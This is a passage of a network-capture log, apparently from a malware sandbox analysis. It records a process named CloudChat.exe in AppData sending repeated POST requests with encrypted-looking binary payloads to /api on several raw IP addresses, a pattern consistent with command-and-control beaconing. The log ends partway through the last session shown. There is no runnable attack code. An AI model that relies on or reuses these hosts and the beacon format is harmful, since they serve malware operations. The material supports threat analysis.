Sep 30, 2024 12:20:58.237037897 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:58.242355108 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 d8 4c 59 a0 8a 7b fa e6 44 00 00 00 ed 35 cd ee 14 36 ec 6a 55 69 ac 1c 7c 46 41 51 f2 9e f5 ec a0 a3 da b8 d4 00 00 00 5c 1c 9b a4 83 7d 2c c3 72 a2 95 c4 4a b0 e8 2b 14 28 a8 d7 aa 6e 71 11 7c 41 02 dc 70 29 5e dc ba 19 Data Ascii: LY{D56jUi\|FAQ\},rJ+(nq\|Ap)^hU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50062	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:58.357161045 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:58.361968994 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 4d 59 a0 8a 7b fa e6 34 00 00 00 ed 35 cd ee 0d fc 52 11 bb f3 40 0e e3 ab 0e 5d 40 8b 00 00 af 4e 1d a2 6d 85 b9 80 f9 38 9e 18 37 bb ca 2e 0d 2d 24 3d 1f 2c de bc 43 d5 52 90 bb 04 00 00 Data Ascii: MY{45R@]@Nm87.-$=,CR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50066	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:58.822635889 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:58.827438116 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 f0 af 18 3f da 7d fa 66 34 00 00 00 ed 35 cd ee 0f 9f 22 b9 e3 9a 49 c7 65 8a 77 9b e7 12 ae 93 6c ae 0b 7a 6d 0c 3b 75 07 55 cd 1b a8 39 0e c2 0f c1 cb bc 66 42 0c 24 b9 c8 fe 8a c9 57 67 f2 Data Ascii: ?}f45"Iewlzm;uU9fB$Wg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50072	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:59.415606022 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:59.420471907 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 14 cb 53 bf 61 89 fa 66 2c 00 00 00 ed 35 cd ee 09 c2 0f 01 9a 41 88 3b 3a 4b 00 00 9c 10 26 3b 60 69 bb 2c 81 22 43 14 29 16 42 83 09 46 de dc 91 7b 05 da b5 bb 00 00 Data Ascii: Saf,5A;:K&;`i,"C)BF{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50075	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:59.534667969 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:59.539483070 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 70 b1 52 9a 8b 7b fa e6 4c 00 00 00 ed 35 cd ee 1a 0e 42 e6 dc c4 70 55 4a 09 6b 86 f0 91 69 bd ce dc 3d af 04 ec 21 85 09 ab c3 00 62 a5 33 fd cb 07 61 92 99 c0 bd bf b1 27 43 9d 1a 56 81 8d a1 46 c0 86 25 7e 7a c9 eb df Data Ascii: pR{L5BpUJki=!b3a'CVF%~z0&r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50079	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:59.639251947 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:59.644081116 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 78 b1 52 9a 8b 7b fa e6 44 00 00 00 ed 35 cd ee 15 7a e4 0c d3 b5 3d 25 6e 4f 82 bc 2a ef e7 61 c3 db 7b 56 03 74 00 00 5e a0 95 f7 8d 3f 82 64 05 fc 17 e6 85 07 38 8f 15 e6 1f 71 2f 09 c0 68 28 0c ec be 17 fc 9f 35 78 dd Data Ascii: xR{D5z=%nO*a{Vt^?d8q/h(5xv5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50082	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:59.752423048 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:59.757285118 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 80 b1 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 12 48 17 c0 b1 f3 f3 e7 1d 28 04 56 09 dd 8d 70 58 90 06 00 ea f5 92 35 21 05 f1 95 95 b3 76 33 a9 db 9f 1f 12 5d 1e cb ae f2 98 4a d4 52 32 73 82 03 b4 69 50 f4 37 00 Data Ascii: R{<5H(VpX5!v3]JR2siP7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50086	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:59.872318983 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:59.877134085 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 88 b1 52 9a 8b 7b fa e6 54 00 00 00 ed 35 cd ee 1c fb 50 09 f1 aa 74 ce e6 38 95 c9 cd 7b 2d c1 50 d5 fa af 02 9c 15 10 1a 04 22 b8 dd 00 00 00 b4 74 30 66 6d 5c d6 8f 6a d3 a6 8b 60 7e 97 76 1c 39 4a 96 3e 6c cf ab 97 6d Data Ascii: R{T5Pt8{-P"t0fm\j`~v9J>lmCD"[l7X4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50089	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:59.961178064 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:59.965984106 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 b4 b1 52 9a 8b 7b fa e6 54 00 00 00 ed 35 cd ee 1c 95 6c ff 7d e0 37 16 2d 8e b7 0a 83 ac dc 10 ee 1f da 15 9a f1 e6 35 41 3c 48 8f 1b 00 00 00 ec 1a b9 3e 91 14 7c 18 c8 7d d5 54 0d 76 ce 61 1c 93 42 c2 a0 4e e5 10 69 8f Data Ascii: R{T5l}7-5A<H>\|}TvaBNi #^\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50092	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:00.010158062 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:00.016222954 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 50 8e 9c 5f e6 94 fa 66 54 00 00 00 ed 35 cd ee 1d d6 63 de f7 7d ea 84 9f 0c f0 31 92 23 2a 08 29 70 b3 ef 1f df 95 20 a2 30 72 14 06 df 00 00 3d c6 07 46 b9 c5 84 c1 51 1a 4b 0a 07 81 2d fd 1d b2 2f 3b 32 17 06 45 0f 67 Data Ascii: P_fT5c}1#*)p 0r=FQK-/;2Eg6FwPDEd"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50095	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:00.071358919 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:00.076397896 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 c4 b1 52 9a 8b 7b fa e6 54 00 00 00 ed 35 cd ee 1d bc ec d2 b3 fc d4 af 70 93 4a 8a f8 41 35 e5 53 18 cc 3b 8b 2d 6a 3a 1f 55 18 85 d6 4e 00 00 57 8c a7 2f 8d 4e 93 cb 60 66 02 74 5b 6b 88 4c 1d 26 ae 0c c2 16 c8 74 e7 95 Data Ascii: R{T5pJA5S;-j:UNW/N`ft[kL&tM-J7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50098	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:00.181440115 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:21:00.187244892 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 cc b1 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0f 38 1c b2 b7 39 0d 3f 3b 15 57 e0 4c 56 3c a6 08 65 a6 3e 12 47 ed 21 0c a3 79 16 da b0 af 0e 0f 41 4b 43 22 3c 39 f8 f3 ab b0 3d 52 fb c3 b3 Data Ascii: R{4589?;WLV<e>G!yAKC"<9=R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50102	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:00.292213917 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:21:00.298783064 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 d4 b1 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0f 25 ed 8b 81 da 56 7e 34 65 5f 23 af f5 16 5c 5a 19 ab 00 ef c7 11 07 60 84 1c 46 dc db 51 0d 0f 95 1a 2b 14 b3 7c 06 5c 0f 12 c6 29 3b 7c f5 Data Ascii: R{45%V~4e_#\Z`FQ+\|\);\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50105	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:00.403161049 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:21:00.408113956 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 dc b1 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 11 55 a2 d5 7e da 6c 92 a4 b3 d5 96 9e 08 39 50 31 fd 00 00 93 d2 47 7e 10 dd ad fb 61 64 6d ed e5 2e bc a0 11 e9 fd f0 95 75 7e 63 06 78 df c9 e2 d6 19 16 2e f1 00 00 Data Ascii: R{<5U~l9P1G~adm.u~cx.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50109	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:00.516362906 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:00.522327900 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 b2 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 12 71 44 73 d5 92 51 68 45 58 7f fd 39 7f 84 58 b6 e9 bc 00 16 52 b5 0d 2d a9 e0 25 ba 18 ed dc c0 88 e8 c0 12 3a 76 ca 01 d8 50 34 7a 8f 97 c5 53 9f 1b c3 db c2 82 00 Data Ascii: R{<5qDsQhEX9XR-%:vP4zS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50112	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:00.626581907 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:00.631498098 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 08 b2 52 9a 8b 7b fa e6 4c 00 00 00 ed 35 cd ee 1a 81 a6 41 29 de 78 de 2c 58 23 af 00 1a e0 ae e5 d6 d7 de 7a 28 16 7b f5 db 7e 00 cb 67 cd 1e 9f c0 4b 7a 6d f5 d2 27 fe e5 ef 20 1a 53 f5 9a 29 8c d8 26 7b 2a ac 7a e9 d3 Data Ascii: R{L5A)x,X#z({~gKzm' S)&{*zX(gdI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50116	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:00.744946957 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:21:00.751705885 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 10 b2 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 13 b4 4b 2f 72 16 e0 4c 99 cd 9d 40 4e 90 96 24 38 47 78 43 6b 96 c3 d4 1f bc d5 16 00 fe a8 f1 d9 20 6b 08 13 0d fb ab 3c 49 07 75 d9 0e 87 ed 7c e0 78 d8 11 e6 00 eb Data Ascii: R{<5K/rL@N$8GxCk k<Iu\|x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50120	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:00.867788076 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:21:00.875638962 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 18 b2 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0e d3 5d e5 c2 48 4a 16 02 38 3c 85 16 ac 26 00 f4 70 b2 6f 1e 22 64 bf 11 30 de e3 ad b4 27 63 0e bf ce f2 a7 9c f4 56 f0 50 70 ff 35 58 02 00 Data Ascii: R{45]HJ8<&po"d0'cVPp5X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50123	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:01.011672020 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:21:01.018435955 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 20 b2 52 9a 8b 7b fa e6 2c 00 00 00 ed 35 cd ee 0a 86 a8 1f 2c 1d b6 58 1d 35 e1 00 c9 82 43 3b f3 d6 e6 b2 91 c0 37 9f 94 cc 01 a9 0a c6 fd ac 00 ba 33 9c a1 dd 63 00 Data Ascii: R{,5,X5C;73c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50127	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:01.093108892 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:01.101011038 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 28 b2 52 9a 8b 7b fa e6 4c 00 00 00 ed 35 cd ee 1a b7 43 48 8b de dc df a5 7d 2d 34 d5 04 dd 84 70 dc 2a 77 38 78 a1 4b 02 48 5b 00 e8 73 5c 9c 25 7d 7d 8a 80 37 81 11 48 f7 b9 dc 1a ad ed 3c 6e 31 3b cc 9c 65 3e e3 e9 96 Data Ascii: (R{L5CH}-4p*w8xKH[s\%}}7H<n1;e>h^n<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50130	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:01.277430058 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:01.285192013 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 30 b2 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0c 2f a5 40 14 9e 15 ee 1c 34 b3 f9 d9 00 00 00 31 2e e6 f0 28 b8 cb c7 92 60 80 56 1e df 9f 7e 0c 83 88 ea 69 a7 7c b1 25 5e e0 de d5 00 00 00 Data Ascii: 0R{45/@41.(`V~i\|%^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	50136	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:01.511092901 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:21:01.518362045 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 40 b2 52 9a 8b 7b fa e6 44 00 00 00 ed 35 cd ee 15 cf 98 c8 80 48 c8 d2 a5 4f e1 5b 6a 39 1b 07 0c 10 34 33 b0 87 00 00 ab 93 29 3c 07 09 69 09 23 5e 38 0f bc 72 f7 4c 15 de f1 bf 51 cf 48 cf ad c7 43 bb 30 15 df 86 fe 4f Data Ascii: @R{D5HO[j943)<i#^8rLQHC0O2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	50139	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:01.568422079 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:21:01.576184034 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 48 b2 52 9a 8b 7b fa e6 44 00 00 00 ed 35 cd ee 15 03 7a 11 88 d8 8d 67 af 14 e6 b1 72 8d 02 64 ec f1 d6 b0 52 54 00 00 40 4d 52 48 fb 04 53 ca 50 ab 35 16 ae f7 8d 15 15 fd 69 55 ec c1 2b 5d aa 65 4c be 53 ce d2 77 d0 58 Data Ascii: HR{D5zgrdRT@MRHSP5iU+]eLSwXW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	50142	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:01.628257036 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:01.634500027 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 8c 90 e3 c5 7e b0 fa 66 3c 00 00 00 ed 35 cd ee 12 00 72 8c 4b 8d d1 c7 24 b0 8a fe 25 90 c9 6c 29 41 02 00 63 12 5b cc b6 f7 09 e2 25 89 b8 70 80 25 81 70 12 e2 17 c2 00 bd 87 c0 b9 c4 10 57 da 60 8a c0 44 18 89 00 Data Ascii: ~f<5rK$%l)Ac[%p%pW`D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	50145	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:01.678934097 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:01.685303926 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 58 b2 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 12 db 28 5a 5e c4 53 fc cd 39 98 fb 09 29 2d 46 98 31 a3 00 c4 7f 7b bd c1 68 38 00 e0 2f 43 fd a9 d5 c2 2f 12 94 44 34 6a 91 54 ef 4c 89 04 12 f5 fa b8 2d 80 f4 7a 00 Data Ascii: XR{<5(Z^S9)-F1{h8/C/D4jTL-z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	50148	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:01.774106979 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:01.778944016 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 60 b2 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0d e3 d8 77 69 9c f3 9b e3 aa 6d f3 d3 fb 00 00 bc ef 33 07 1a e4 6c 2b 14 5f ba d3 27 ce d8 38 0d b2 0a c6 7b 89 85 94 9e 7e c9 56 1b 67 00 00 Data Ascii: `R{45wim3l+_'8{~Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	50152	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:01.891076088 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:21:01.896410942 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 68 b2 52 9a 8b 7b fa e6 4c 00 00 00 ed 35 cd ee 1b 8b f0 fd 3a b0 75 e8 b2 df 97 9b 0d 95 15 38 57 2a dd 44 39 70 5c f0 03 8c 30 f4 31 03 4c e0 24 82 b6 d1 89 d0 c1 57 64 d2 c9 21 1b 9a f2 fa 85 22 0e 20 e2 64 a8 f5 dc 71 Data Ascii: hR{L5:u8W*D9p\01L$Wd!" dqJ_<2MV/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	50155	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:01.995155096 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:21:02.000715971 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 70 b2 52 9a 8b 7b fa e6 44 00 00 00 ed 35 cd ee 16 43 f7 4c c5 89 e0 bf 01 42 46 cf 3d 22 53 e3 70 ba 0d c9 7b d8 2a 00 a4 98 56 b8 82 63 f3 48 4d d4 6b e9 5e cd 08 76 16 30 2e 34 0d 27 49 b0 6a 32 5d 3a 1c d9 c8 1d e7 5f Data Ascii: pR{D5CLBF="Sp{*VcHMk^v0.4'Ij2]:_3dZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50158	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:02.107348919 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:21:02.112308979 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 78 b2 52 9a 8b 7b fa e6 54 00 00 00 ed 35 cd ee 1d e4 80 2b fb 1c 1c c6 1d 40 01 06 2f ea 61 38 26 1c dc 10 19 92 ec 42 3f 81 63 38 98 ca 00 00 ba 03 a3 87 f5 2a f6 c1 4c 4a 2d 56 88 e5 d3 5b 1d 0d 02 92 aa 4c 94 f8 dc 02 Data Ascii: xR{T5+@/a8&B?c8*LJ-V[L;%ee+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	50162	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:02.218322992 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
